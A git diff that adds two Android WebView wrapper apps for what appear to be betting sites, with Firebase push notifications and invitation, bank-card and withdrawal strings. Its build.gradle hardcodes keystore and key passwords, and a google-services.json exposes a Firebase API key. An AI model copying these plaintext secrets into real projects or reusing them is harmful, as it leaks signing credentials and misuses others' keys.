a/swiftau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/swiftau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/swiftau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/swiftau/src/main/AndroidManifest.xml b/swiftau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..4b870f3 --- /dev/null +++ b/swiftau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/java/com/web/swiftau/MainActivity.java b/swiftau/src/main/java/com/web/swiftau/MainActivity.java new file mode 100644 index 0000000..10a49fe --- /dev/null +++ b/swiftau/src/main/java/com/web/swiftau/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.swiftau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 168; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://swiftau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0076cc"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/swiftau/src/main/java/com/web/swiftau/MyFirebaseMessageingService.java b/swiftau/src/main/java/com/web/swiftau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..39ae89c --- /dev/null +++ b/swiftau/src/main/java/com/web/swiftau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.swiftau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/swiftau/src/main/java/com/web/swiftau/WebApplication.java b/swiftau/src/main/java/com/web/swiftau/WebApplication.java new file mode 100644 index 0000000..0301afe --- /dev/null +++ b/swiftau/src/main/java/com/web/swiftau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.swiftau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/swiftau/src/main/res/drawable-anydpi/ic_action_back.xml b/swiftau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/swiftau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/swiftau/src/main/res/drawable-hdpi/ic_action_back.png b/swiftau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/swiftau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/swiftau/src/main/res/drawable-mdpi/ic_action_back.png b/swiftau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/swiftau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/swiftau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/swiftau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/swiftau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/drawable-xhdpi/ic_action_back.png b/swiftau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/swiftau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/swiftau/src/main/res/drawable-xxhdpi/ic_action_back.png b/swiftau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/swiftau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/swiftau/src/main/res/drawable/big_bg.xml b/swiftau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/swiftau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/drawable/ic_launcher_background.xml b/swiftau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/swiftau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/swiftau/src/main/res/drawable/input_bg.xml b/swiftau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/swiftau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/swiftau/src/main/res/drawable/pass_word_bg.xml b/swiftau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/swiftau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/swiftau/src/main/res/drawable/pass_word_bg1.xml b/swiftau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/swiftau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/drawable/pass_word_bg2.xml b/swiftau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/swiftau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/drawable/shape_btn_bg.xml b/swiftau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/swiftau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/drawable/shape_dialog_bg2.xml b/swiftau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/swiftau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/drawable/shape_dialog_bg3.xml b/swiftau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/swiftau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/drawable/shape_dialog_bg_new.xml b/swiftau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/swiftau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/swiftau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/swiftau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/swiftau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/swiftau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/mipmap-hdpi/ic_empty.png b/swiftau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/swiftau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/swiftau/src/main/res/mipmap-hdpi/ic_pull_down.png b/swiftau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/swiftau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/swiftau/src/main/res/mipmap-xhdpi/ic_close.png b/swiftau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/swiftau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/swiftau/src/main/res/mipmap-xhdpi/ic_menu.png b/swiftau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/swiftau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/swiftau/src/main/res/mipmap-xxhdpi/app_logo.webp b/swiftau/src/main/res/mipmap-xxhdpi/app_logo.webp new file mode 100644 index 0000000..af881f0 Binary files /dev/null and b/swiftau/src/main/res/mipmap-xxhdpi/app_logo.webp differ diff --git a/swiftau/src/main/res/values-en/strings.xml b/swiftau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/swiftau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/swiftau/src/main/res/values-night/themes.xml b/swiftau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/swiftau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/values/colors.xml b/swiftau/src/main/res/values/colors.xml new file mode 100644 index 0000000..dc153a8 --- /dev/null +++ b/swiftau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0076cc + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/swiftau/src/main/res/values/strings.xml b/swiftau/src/main/res/values/strings.xml new file mode 100644 index 0000000..198146a --- /dev/null +++ b/swiftau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SwiftAU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/values/themes.xml b/swiftau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/swiftau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/xml/app_updater_paths.xml b/swiftau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/swiftau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/xml/network_security_config.xml b/swiftau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/swiftau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/swiftau/src/main/res/xml/provider_paths.xml b/swiftau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/swiftau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/swiftau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/swiftau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/swiftau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/syok4bet/.gitignore b/syok4bet/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/syok4bet/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/syok4bet/build.gradle b/syok4bet/build.gradle new file mode 100644 index 0000000..6a2000d --- /dev/null +++ b/syok4bet/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.syok4bet" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "syok4bet" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/syok4bet/dskjweb.jks b/syok4bet/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/syok4bet/dskjweb.jks differ diff --git a/syok4bet/google-services.json b/syok4bet/google-services.json new file mode 100644 index 0000000..c9cf797 --- /dev/null +++ b/syok4bet/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1064796527470", + "project_id": "syok4bet-93a0f", + "storage_bucket": "syok4bet-93a0f.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1064796527470:android:9e2f078c812ea5242b7f7f", + "android_client_info": { + "package_name": "com.web.syok4bet" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBg_Bdq0MzKcPEvYkg0GUE50GY0vO5F1mE" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/syok4bet/ppn.jks b/syok4bet/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/syok4bet/ppn.jks differ diff --git a/syok4bet/proguard-rules.pro b/syok4bet/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/syok4bet/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/syok4bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/syok4bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/syok4bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/syok4bet/src/main/AndroidManifest.xml b/syok4bet/src/main/AndroidManifest.xml new file mode 100644 index 0000000..fad5d91 --- /dev/null +++ b/syok4bet/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/java/com/web/syok4bet/MainActivity.java b/syok4bet/src/main/java/com/web/syok4bet/MainActivity.java new file mode 100644 index 0000000..09503fd --- /dev/null +++ b/syok4bet/src/main/java/com/web/syok4bet/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.syok4bet; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 214; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://syok4bet.app/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#c31f35"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#b30000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.app_logo1); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/syok4bet/src/main/java/com/web/syok4bet/MyFirebaseMessageingService.java b/syok4bet/src/main/java/com/web/syok4bet/MyFirebaseMessageingService.java new file mode 100644 index 0000000..c0c183e --- /dev/null +++ b/syok4bet/src/main/java/com/web/syok4bet/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.syok4bet; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + 